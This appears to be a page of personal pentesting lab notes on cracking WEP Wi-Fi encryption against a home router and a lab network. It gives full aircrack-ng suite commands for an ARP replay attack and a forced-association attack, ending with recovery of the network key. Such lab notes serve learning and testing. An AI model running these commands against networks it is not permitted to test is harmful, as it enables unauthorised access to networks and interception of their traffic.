---
description: using dlink and Cyberlab as targets
---

# WEP

## ARP Replay&#x20;

Used when another device is associated to the network.

run the following to identify connected devices:&#x20;

```
airodump-ng --bssid F0:7D:68:44:61:EA -c 6 wlan0mon
```

&#x20; in this scenario '**D0:D2:B0:73:39:9D**' was connected to the Router.&#x20;

<figure><img src="https://1422073608-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJ6mTp74lZCen0Sx5qHUb%2Fuploads%2F7SyqiEZbkPLEMopHOXPQ%2Fimage.png?alt=media&#x26;token=e4c16768-6d77-49a8-b124-d8597df1e200" alt=""><figcaption><p>identified client MAC</p></figcaption></figure>

Multiple windows are required:

Window 1:

```bash
airodump-ng --bssid F0:7D:68:44:61:EA -c 6 -w dlink wlan0mon
```

Window 2:&#x20;

<pre class="language-bash"><code class="lang-bash"><strong>aireplay-ng --arpreplay -h D0:D2:B0:73:39:9D -b F0:7D:68:44:61:EA wlan0mon
</strong><strong># OR 
</strong>aireplay-ng -3 -h D0:D2:B0:73:39:9D -b F0:7D:68:44:61:EA wlan0mon
</code></pre>

Window 3:&#x20;

```bash
aircrack-ng dlink-01.cap
```

leave that running for around 10 minutes and you should capture all IVs to extract the hex password

<figure><img src="https://1422073608-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJ6mTp74lZCen0Sx5qHUb%2Fuploads%2FIgFUmePok61F0QFHrb2X%2Fimage.png?alt=media&#x26;token=c4012c19-d123-4823-a8c8-3aba47f91729" alt=""><figcaption></figcaption></figure>

## Association attack:&#x20;

If no clients are connected, you can force association of yourself by performing the following. This is a super slow attack.

<pre class="language-bash"><code class="lang-bash"><strong># Dump/ Sniff traffic from the host and output
</strong>airodump-ng wlan0mon --bssid F0:7D:68:44:61:EA --essid dlink -w dlink --channel 6

# Associate using aireplay-ng
while true; do aireplay-ng -1 0 -a F0:7D:68:44:61:EA -1 0 wlan0mon; done

# OR 

# besside to force association
besside-ng -b F0:7D:68:44:61:EA wlan0mon
</code></pre>

